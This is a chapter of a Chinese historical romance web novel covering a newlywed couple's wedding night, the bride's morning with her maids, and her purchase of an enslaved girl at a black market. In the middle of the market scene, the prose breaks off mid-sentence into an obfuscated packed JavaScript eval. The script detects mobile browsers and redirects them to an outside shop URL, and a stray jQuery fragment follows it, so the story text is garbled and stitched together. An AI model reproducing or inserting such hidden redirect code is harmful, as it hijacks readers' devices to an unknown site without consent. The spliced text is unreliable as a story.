“不行了,不行了,谢兄你能行,千杯不醉啊,在下佩服,佩服。”一名男子由下人搀扶着向着门外退去,他满身酒气,脸通红,走路都有些摇晃。
谢槐池站在那儿,只是挥了挥手并未开口,就这样终于送走了最后一个想灌醉他的人。
他向着后院走去,院门外站着几名婢女正提着红灯笼,谢槐池脸上挂着笑走进,明枝溪还端在床榻上,盖着红盖头。
谢槐池将红盖头掀开,明枝溪看向他露出笑,轻声道:“哥哥,你好大的酒味。”
“还叫哥哥呢,夫人。”谢槐池伴着她坐下,将头靠在明枝溪的腿上,手拨动着珍珠流苏,珍珠碰撞声回荡在这个寂静的夜晚。
喜婆堪堪从别院走来,下人端上两杯合衾酒,谢槐池这才坐起身叹了气:“还以为不用喝了呢,没想到还要喝。”
明枝溪轻笑出声,端着两杯酒,将其中一杯递给谢槐池,两杯就中间的红线格外显眼,终于将两人的命运紧紧缠绕在一起。
谢槐池接过酒杯,两人交杯饮尽,喜婆笑着将杯子收回,对着两人道:“老婆子就祝两位新人白头偕老,幸福美满啦!”
说着她便带带着一众人退下,将房间的门关上,屋内龙凤烛摇曳一瞬,最后恢复平静,谢槐池有些顶不住,对着明枝溪道:“夫人,你今日真美。”
“难道我以往就不好看了?”明枝溪打趣道。
谢槐池摇摇头:“并无,只是今日你终于是属于我了,夫人啊,我好爱你。”
明枝溪未曾开口谢槐池的唇便先迎了上来,将她扑倒在床上,两人交织缠绵,谢槐池随意将被褥下的红枣,花生等拨开。
有些干果掉落在地发出噼里啪啦的声响,滚落的遍地都是,其实打扫起来也是很麻烦呢。
——————
翌日早晨,明枝溪醒来,谢槐池并不在,估摸着时间也许是上朝去了,明枝溪坐起身,只觉着自己的腰都快断了,脖子上到处都是红印,嘴唇上还有个破口,谢槐池难道是属狗的吗。
小玉听见响声一脸激动的走进来,看见明枝溪那般模样,激动的险些没叫出来:“夫人!昨晚很猛哦。”
“你快别逗我了,给我准备准备热水,我要泡一会儿,腰疼。”明枝溪扶着小玉的手站起,忽然想起什么似得茫然问,“我头上的凤冠朱钗呢?”
“昨日主君帮你收起来了,在梳妆台上呢。”两人顺着视线望去,谢槐池不知什么时候将梳妆台打理了一番,现下看着似乎比从前的大了许多,崭新了许多。
明枝溪讷讷点头,小玉搀扶着她走到屏风后,浴桶摆在那里,正冒着热气,明枝溪不解问:“这?你们怎么知道我要沐浴?”
“主君上朝前吩咐的,说是每一刻钟都放些热,等你睡醒了一定会沐浴。”小玉讪讪道,“夫人还真是每嫁错人呐。”
明枝溪褪去身上的衣物,整个人泡进水中,小玉的身影在屏风后一晃一晃的,看得出来她有多开心。
明枝溪红着脸将头泡进水中,吐出几个泡后露出水面,抹着脸上的水柱道:“你可别打趣我了,小心我扣你月钱。”
“夫人讨厌!我说的又没错!昨日我与彩诺可是...”小玉意识到自己说了什么,急忙捂住了嘴,小心翼翼向着外头走去。
明枝溪叫住小玉,阴恻恻道:“你们昨晚居然偷听?好啊,胆子大了!月钱扣光!”
小玉讪讪跑回来,隔着屏风便能看出她那扭曲的身姿:“夫人,主子,我求你了,我们不是故意的,只是好奇,好奇,不要扣月前嘛...求求你了。”
“不行,该扣,扣一半,你们真是胆子肥了,当我没有脾气的吗?”明枝溪跨出浴桶,将身上的水擦净,换上干净的里衣走出来。
小玉急忙握住明枝溪的胳膊着:“我们以后不会了,求求你了。”
“你再求,那就连那一半的月钱都没了。”明枝溪朝着梳妆台走去,屋内炭火烧的旺,使得她有些燥热,明枝溪打开梳妆台处的窗子,冷风顺着窗缝吹进来,添了些许凉意。
小玉正讪讪的帮明枝溪梳着头发,彩诺在门外听见动静也随即走进,一进门便看见小玉那副模样,顿时明白了什么。
彩诺指着小玉恨铁不成钢道:“你真是,昨日找我爬墙角就算了,今日还说漏嘴了,你真是,哎呀!”
小玉露出狗狗眼看向彩诺,彩诺本就不是故意要计较的,看见小玉那样顿时就软下来:“好了,你也别缠着夫人扯月钱了。”
彩诺说着挤开小玉,拿着块干布擦拭着明枝溪的青丝:“你真是的,夫人发丝都没干呢就梳头,学着点。”
明枝溪被彩诺那番话逗的出声,小玉气鼓鼓的道:“好,那我就不在这里添乱了,我去理床铺。”
说着小玉脸上便带着笑跑向床铺,将床单换了件后抱着原来的床单跑了出去。
等到小玉再次回来的时候,明枝溪已经盘好发髻,准备用餐了。
桌上摆着清粥,明枝溪一边喝着粥一边对着彩诺嘱咐:“等会儿陪我去黑市看看。”
“黑市?夫人这是?”彩诺不解询问。
“从前的婢女走留在丞相府了,再去捞几个新人来,顺便再带你们去街上吃些好吃的。”明枝溪喝着粥道。
小玉不服气的站在彩诺身旁:“夫人不喜欢我了,你只带彩诺不带我。”
明枝溪险些被粥呛住,彩诺着急的帮明枝溪顺着背,终于缓过来些:“什么叫我不带你,我说的是你们,你们诶。”
小玉听了这才扭扭捏捏道:“哦..我没听见,对不起。”
“没事,没事,就这样吧,我正巧也喝不下了,收拾收拾走吧。”
小玉急忙将那碗粥撤下,以最快的速度送去小厨房,等她回来后,明枝溪妆容精致,梳着妇人髻,看着就是名门贵妇。
三人乘坐马车出行,不一会儿便到了黑市,黑市里几乎都是贩卖奴隶,而且大多数都是被拐的或是被抢的,总之自愿的少之又少。
三人朝着里走走去,刚走没一会儿一名少女便引起了明枝溪的注意。
那名少女蓬头垢面,缩在角落颤抖着,一名大汉正拿着鞭子使唤她。
明枝溪走上前,打断大汉的叫嚣,指着少女问:“她几个银子?”
大汉露出狐疑的神色,看了看明枝溪再看看少女,随即挂上谄媚的笑朝着明枝溪走去,明枝溪有些恶心,随即后退一步,大汉看出她不想与自己过多接触。
了当道:“二十两,这细胳膊细腿的也不值多少,你爱要要,不爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637282|204825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要快滚。”
“就这样二十两?你当我好骗吗?”明枝溪回怼道,“十两,多了不要。”
“你打发叫花子呢?十两门都没有,你别看这女子现在邋遢了些,你等着。”大汉端着一盆水将女孩的脸洗净。
乍一看少女长的属实是好,若是穿着好些,富贵些,同明枝溪站一块,旁人说不准还真觉得是贵妇姐妹花呢。
“十二两,样貌倒是不错,就是瘦弱了些,就十二两,多一两都不行。”明枝溪话音刚落,小玉就准备掏银子。
大汉急忙讨价还价道:“十五两,最低价了,她样貌好啊,回去当个填房将养将养保准能行。”
“填房?我来买婢女你跟我说填房?”明枝溪不可置信看向大汉,手紧紧握成拳头。
“啧,那我哪知道,十五两,爱要不要。”大汉摆摆手就准备走,女孩眼神望向明枝溪,是求助。
明枝溪一把握住大汉的手臂,奋力一扯,大汉摔落在地,捂着自己臀部大叫着:“我去,你个小娘子力气还真不小,来砸场子啊?我奉陪。”
说着大汉将鞭子甩来,明枝溪随手将地上的一块烂木头捡起丢出去,鞭子缠绕在烂木头上,失了劲儿。
下一秒明枝溪已经将自己随身携带的匕首抵在大汉脖子处,明枝溪轻声道:“九两八钱,你方才说话实在是不中听,我只能给这个价格。”
“十两,凑个整。”大汉斜睨着眼望向明枝溪,一动不敢动。
“九两。”
“九两八钱就九两八钱,真的是,你先放开我。”大汉僵硬的妥协。
明枝溪松开手将匕首收好,淡淡道:“方才是方才的价格,现在是九两,我劝你考虑清楚,你是新来的吧,在这里对我不客气你会走大运的。”
“行行行,九两,神经兮兮的。”大汉说着将少女身上绑着的绳子一一解开,少女犹豫着是否跟上明枝溪,却被大汉狠狠踹了一脚。
“诶!八两,你给我踹坏了。”明枝溪随手一挥,小玉将八两银子丢在地上狠狠吐了口唾沫。
大汉正欲计较,旁的铺子上忽的跑来一个妇人对着大汉耳语:“你惹她做什么?你知道她是谁吗?”
大汉只觉得这老太婆也神经兮兮的,翻了个白眼问:“怎么?难不成她是什么公主啊?”
“嘿呦!她是丞相府嫡女啊!以往她常来买人的,你得罪了她往后生意怕是不好做啊。”
“什么嫡女不嫡女,她就一介女子,只不过会点功夫,怎么就影响我生意了,滚滚滚,我不信。”大汉摆着手,眼神落在已经走远的明枝溪身上。
妇人凑上前问:“谢小将军你知道不?当今圣上是谁你知道吗?”
“这我知道啊,谢槐池和赵康时嘛,嘶,之前不是传闻说这两是铁哥们吗?”
“所以啊!谢槐池是明枝溪郎君呐!还有还有我前些日子听说赵康时能坐上这个皇位就是因为这夫妇两为其谋和呢!你这样得罪她,你瞅瞅,哎呀。”妇人说完便朝着自己摊位走去,不再看大汉。
大汉像是僵硬在原地,回味着方才妇人说的话,最后狠狠扇了自己一巴掌。
从那日起,坊间便有一个传闻,听闻那大汉当晚回家途中被人套上麻袋狠狠毒打了一顿!至今不敢现身!